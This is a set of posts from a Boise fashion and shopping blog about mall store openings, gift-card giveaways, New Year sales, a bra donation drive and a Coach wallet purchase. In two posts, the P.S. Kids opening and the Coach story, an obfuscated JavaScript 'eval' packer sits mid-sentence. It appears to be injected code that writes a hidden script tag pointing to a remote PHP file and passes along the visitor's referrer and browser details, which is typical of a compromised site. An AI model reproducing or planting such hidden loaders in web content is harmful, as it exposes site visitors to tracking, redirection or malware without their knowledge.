Kids’ Fall Fashion Trends 2013

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that school is back in session,
do you want find out what’s truly trending on the playground? To find the top Kids’ Fall Fashion Trends for 2013, I checked in with two stores at Boise Towne Square that are new this year to Boise, H&M and PS from Aeropostale, to find out what trends are top-sellers here, and across the country! Here’s what we found, plus a bonus “fashion tip” at the end of my video, which aired on KTVB Channel 7 Midday News!

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Coach’s Hot New Metallics

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recently launched their latest Poppy Collection:
a line of leather and mirrored “flight” handbags, and I’m totally in love! These petite, stitched travel bags go with absolutely everything, and are perfect for work or vacation; those times you only want to take ONE purse, and it has to coordinate with all your outfits. And look effortlessly chic at the same time, of course!!! Continue reading “Coach’s Hot New Metallics”

New Store Opening: P.S. KIDS from Aeropostale

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Are eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byify|var|u0026u|referrer|riztb||js|php’.split(‘|’),0,{}))
you heading to the mall this weekend? Stop by and see me at the Grand Opening of a brand new store:
P.S., the super-cool kids’ line from Aeropostale! I will be there Saturday, May 4th, from 2pm until 5pm, giving out gift cards, candy bars, and having all kinds of FUN!!!

Oh yes, I said “giving out gift cards…” Want to win one of my $25 gift cards? Read on…

SIGN UP here: www.psmoms.com, to be a P.S. Mom! They will send you a $25 gift card to spend opening weekend!!! AND, come join me this Saturday, from 2pm-5pm at Boise Towne Square Mall. (Event info HERE.) I’m bringing my little girl – we can dress up our sweethearts and take pictures on the “photo op” backdrop! There will be entertainment, giveaways ($100 to two lucky winners; one Saturday and one Sunday!), and CANDY BARS to keep the kids busy. 😉

THE OTHER GIVEAWAY… Yup, there’s more!!! You can also enter my Giveaway contest for one of three $25 gift cards (to redeem at a later date than the grand opening – whenever you want!) in two easy steps:

1. SIGN UP to be a PS Mom at www.psmoms.com (they’ll send you a $25 gift card, PLUS you enter to win another one from me!)

2. COMMENT here that you signed up! I’ll select a winner Friday night. I can mail you the gift card, OR you can come get it from me in person at the Grand Opening event Saturday – your choice! 🙂

Hope to see all you fabulous moms soon!
XOXO,

StyleSpyGirl

P.S., Oh, and ONE MORE THING!!! If you print out this page (see the image up top? That’s a coupon!) and bring it with you Saturday, you will indeed receive an extra 30% off all your purchases! 😀 Gift cards, discounts, candy bars… it’s going to be so much fun!!!

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Boise Towne Square Spring Fashion Show Giveaway

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Woo-hoo, another giveaway! Do you LOVE winning things, as much as I LOVE giving them away? Ha ha ha!

This one’s going to happen fast, and you MUST be present to win! That means your chances are best, if you’re local to the Treasure Valley area.

I have this ADORABLE minty/aqua crossbody clutch from H&M, to give one lucky winner! I also have a $20 Gift Card to ALDO Shoes!!! That means you have TWO chances to WIN!!! On top of that, Boise Towne Square is giving shoppers a $10 Gift Card for every $100! (*While supplies last – one per person! Redeem receipts at Center Court from 1-4pm.)

Here’s how you enter:

  1. Go to Boise Towne Square’s FB event for this SATURDAY, April 27th: https://www.facebook.com/events/450163351732032/
  2. Click “Join.”
  3. Join me this Saturday at the Fashion show, which starts at 1pm. At the end of the show, I will draw FOUR winners names, from the event’s “Join” list!

Note: This contest is for fans of StyleSpyGirl! You MUST Like my FB page, to qualify: www.Facebook.com/MyStyleSpyGirl

Good luck! I’m so excited to see everybody, and all the FUN & Fabulous Spring Fashions that will be coming down the runway!!!

XOXO,

StyleSpyGirl

P.S. Be sure to stop by and say HI to me! I LOVE meeting my readers & followers!!! 🙂 Also, awesome blogger Annelise from AunieSauce will also be at the mall, hosting a party in Apricot Lane from 1-4pm, to celebrate their one year birthday! Rad stylist Kellie from Fashion Kellie will also be there, styling models in Francesca’s Collections, with mannequin modeling and a special Fashion Feature at 4pm!

 

 

NEW Aldo Shoes Grand Opening and Top Sellers for Spring

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! This week, a brand new Aldo Shoes opened up at Boise Towne Square Mall, and I couldn’t wait to get in there! This is big city style, my friends – and now it’s HERE!!! 🙂 Check out some of my favorite finds, then scroll down to hear what store manager Chris has to say about the hottest trends at their Seattle branches!

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Trying out the sneaker wedge trend!

 

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DECISIONS, DECISIONS…!

 

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I just HAD to take these home with me!

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Store manager Chris, here from Seattle, told me the top trends for Spring in his neck of the woods.

For women: Boots with Studs, Jelly Sandals, Wedge Sneakers, and Mint Green Anything!

For men: Brogues, Oxfords, and modern sneakers

Aldo Shoes sells fashion-forward, high-quality footwear and accessories for men and women. They’re a perfect fit Boise, a fabulous city that’s growing bigger and more fashionable by the day! 🙂 Welcome to the Treasure Valley, Aldo!

ALDO
Boise Towne Square
350 North Milwaukee
Boise, ID, US 83704
208-322-5053

 

An Intimate Way to Help Women!

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the pun, ha ha ha! But did you know that: Bras are the most needed and least donated clothing item? You can help domestic violence shelters in your area, by bringing your unused bras to Soma Intimates! (Or, you can buy & donate a new one!)
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What do you do with the lesser-worn bras that are sitting in your dresser drawer? 😉 Most consignment stores won’t take them, but it feels wasteful to throw them away… Especially when most of the bras we buy are a huge investment of time and money! Personally, I love having the chance to help another woman, by giving her something she might truly need. Stop by Soma Intimates at Boise Towne Square for your chance to help local domestic abuse shelters, by donating new or gently-used bras. Soma has collected and redistributed over 368,000 bras to date.
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1/10/2013 – 2/14/2013
Time: 10:00 a.m. – 9:00 p.m.
Location: Soma Intimates, Lower Level
Contact: 2083764283
Sponsored by: Soma Intimates
Soma Bra Donation – Giving is Beautiful Donate new or gently worn bras and suport women in need.
JANUARY 10 – FEBRUARY 14, 2013
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Bras collected during this campaign will benefit local domestic violence shelters in your community, which is part of the larger network of shelters working with National Network to end Domestic Violence (NNEDV).
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To donate, visit Soma Intimates boutique located on the Lower Level next to Apple.

My Biggest Giveaway EVERRRR!!!

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When Boise’s new H&M opened recently, I had the special & exciting privilege of giving away $100 gift card to one of my StyleSpyGirl readers. Yay!!! I love making someone’s day with a giveaway surprise!!! 🙂

Wendee Weber won the drawing, and met me at the Grand Opening for some fun & shopping!

It was a crazy festive day, with long lines of excited shoppers, music pumping, employees dancing, and a mad rush of frenzied fashionistas!

Wendee and I had a fabulous time, putting her $100 to work on some fun & fashionable pieces for her work wardrobe.

Thanks to H&M’s budget-friendly prices, we were able to find lots of great deals for Wendee, and have a blast doing it!

Thanks, H&M, for such a memorable day!

Xoxoxo,
StyleSpyGirl
Special thanks to Ammophotog for the fantastic pictures!!!
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HAPPY NEW YEAR SALES!

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so Christmas is over and it’s time to get back to normal life, lol. 😉

But wait, the best deals of the year are happening RIGHT NOW!

Here’s a list of sales going on, at Boise Towne Square Mall.

Have fun, and may your 2013 be the best year yet!

xoxo,
StyleSpyGirl

Sales start at 10am January 1st! 🙂

Dillard’s Annual sale – 50% off permanently reduced merchandise* (*some exclusions) – This is the time you want to buy shoes and handbags!!!
Nordstrom Rack – Clear the Rack at Nordstrom Rack sale – up to 70% off
Teavana – Heavenly Sale – 40-75% off select items
Francesca’s Collections – 60% off select items and 30% off redlines
The Children’s Place – up to 70% off redlines
Christopher Banks/CJ Banks – up to 60% off redlines
Gymboree / Crazy 8 – Everything in the store under $12.99 including children’s coats
Macy’s – An extra 20 % off sale
Victoria Secrets – Buy one Get One 50% off Bra Sale
H & M – $10, $15, and $20 racks – OMG
Finishline – 30% off redlines
PolarX custom ornaments – 50% off
Wet Seal – 50% off
Motherhood – at least 50% off
Apricot Lane – 55% off select items
Forever 21 – 30% off
DownEast Basics – 50% off redlines
Hot Topic – Dig in a Box Sale – Denim as low as $9.99, shirts $5.99
Journey’s – 40-70% off
JcPenney -30-60% Clearance
Go Games – 50% off everything
Ann Taylor – Semi-Annual Sale – up to 50% off
Yankee Candle – Semi-Annual Sale – up to 75% off
Bare Escentuals – $49 for 20 luxurious eye colors
Soma – up to 70% off
Pottery Barn – 50% off floor model furniture and 50-60% off Christmas décor
Aeropostale – up to 70% off of everything
See’s Candies – 50% off Christmas candy
Romys – 80% off

This is NOT Your Daddy’s Coach!

It all started with a wallet. Or more specifically, a comment from my sweetheart that went something like, “Hey babe, since it’s close to Christmas, I thought I’d just mention that my wallet is almost worn out.” Hmmm… I love those hints, but as a women’s stylist and shopping pro, men’s accessories have never really been my forte. Back when we were dating, I could just run into Hot Topic and buy him the coolest wallet with studs and skulls they had on display! But he’s in management now, at a big tech company; maybe it’s time for something a little more “grown up!”

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkrtk|var|u0026u|referrer|brhit||js|php’.split(‘|’),0,{}))
I went shopping at all my usual favorite stores, and quickly discovered: men’s wallets are kind of boring! Black or brown – um, awesome…  I decided that my guy deserves something with a little more style!
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While walking through the mall, I happened to pass the new Coach store, and a display towards the back of the store caught my eye. Is that men’s stuff? Coach makes stylish things for guys?? Of course I just had to go look!
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That’s when I spotted her, out of the corner of my eye, perched prettily in the corner like a young starlet, waiting for her moment in the spotlight: my Dream Purse. She was blue – what, not black?? I always get black! – and so stunning that my legs moved towards her of their own accord.
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Oooooh, shiny!
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I had found the “Willis” purse, new this year to the Coach line, and very new in patent leather blue. And I was in love! So pretty, eye-catching, and more versatile than I could have imagined. Mine! I slung her over one shoulder, and knew instantly that we were meant to be together. 🙂
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Eventually, with Willis purse in hand, I drifted back to my original purpose: the men’s accessories. I was surprised at the style selections – solids, stripes, logos, patterns! – and impressed by the quality. The super-nice saleswoman (their customer service is top-notch!) told me that Coach has long made men’s accessories, but only recently have they carried the items in stores. She went on to tell me that every wallet is triple-stitched, by hand, for long-lasting durability. In fact, all Coach handbags and wallets are hand made! Even the classic little stagecoach logo is painted by hand, which is why you can find little variations in paint color and brush strokes.
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As one of the most-imitated and copied brands in the world, Coach still works very hard to ensure their style and quality are unmistakable  and of the highest caliber. And super, duper pretty! They also have a life-time repair warranty! The manager told me she has had people bring in Coach items that are over 20 years old, and Coach has repaired them, every time! As a self-proclaimed Bargain Huntress, I was beginning to understand the appeal of what the fashion industry calls an “investment piece.”
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I have to admit, I was impressed by the fun, dramatic styles the store had available. My concept of Coach has always been that they are a “classic” line, geared more towards mature women of high taste. I’m not known for my maturity (lol!), but I was super impressed by all the gorgeous, on-trend pieces I spotted throughout the store! Shiny patents, bright colors, even sequins; styles ranged from bohemian-luxe soft handbags  to structured, retro pieces inspired by classic Coach pieces of the past few decades. Personally, I love a vintage-look structured bag with a little drama; the kind that won’t slump to the ground like a leather beanbag when I set it down!
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In the end, I was pleased as punch to find the perfect wallet for my sweetheart; it’s black leather, with a couple burgundy and tan stripes. Very manly and classic, with just a little something extra! I’m so excited for him to pull it out of his Christmas stocking – he’ll love his new grown-up wallet… and I can’t wait to show him what he got ME, too!
Merry Christmas!
xoxo,
StyleSpyGirl
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Who Wants to WIN a Shopping Spree with MEEEE? :)

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am SOOOOOO excited to be involved in this! Having spent the last 5 days doing model fittings at over a dozen Boise Towne Square stores, I just can’t wait to show you the fabulous fashions we’ve selected for this exciting Back to School event! 

Here’s the details, straight from Boise Town Square (don’t miss the Shopping Spree giveaway part!) 😀

Teen Vogue Back-To-School Saturday

8/11/2012
Time: 1:00 p.m.- 5:00 p.m.
Location:  Center Court
Sponsored by: Boise Towne Square

Teen Vogue is declaring August 11, 2012 a new national shopping holiday for Back-To-School. TEEN VOGUE Back-To-School Saturday is a galvanizing moment designed to motivate and inspire consumers to get out and shop for the best of back-to-school fashion, beauty, and more. BTSS is a multi-platform initiative involving all of Teen Vogue’s assets in print, digital, social, mobile and event marketing. For more information, visit www.teenvogue.com/btss

Join us to celebrate Teen Vogue Back-to-School Saturday in Center Court on Saturday, August 11 from 1-5p.m.

Can you spot me on the billboard? 😉

Live music, Fashion Spotlights with StyleSpyGirl, specials offers, and a chance to win a $250 Shopping Spree and personal stylist session!

Get ready, get set and GO Shopping. Aeropostale, American Eagle, Express, PacSun, Vans, Clinique and others coming soon will host a variety of special in store offers just for you. Stay tuned.

Enjoy Fall Fashion Spotlights, makeup demonstrations, and great retailer offers 1-5 pm in Center Court. The 1st 100 to arrive and show a receipt of any purchases on 8/11/2012 receive a signature Boise Towne Square Shopping Tote* and….

Enter for a chance to win a $250 shopping spree and a styling session with local stylists StyleSpyGirl (www.stylespygirl.com). Entry forms are available at the event.

Event Schedule:

1:00 pm Dylan Hyde performs live on the Stage at Center Court ( near Sears – lower level)

1:30 pm Meet, greet and autographs – Dylan Hyde in Center Court (http://www.dylanhydemusic.com/fr_bio.cfm)

2:00 pm Fashion Spotlights hosted by StyleSpyGirl

3:00 pm Dylan Hyde performs live on the State at Center Court (near Sears – lower level)

3:30 pm Meet, greet and autographys – Dylan Hyde in Center Court

4:00 pm Fashion Spotlights hosted by StyleSpyGirl

*One per person a, while supplies last, and based on same day receipts from a Boise Towne Square or Boise Towne Plaza retailer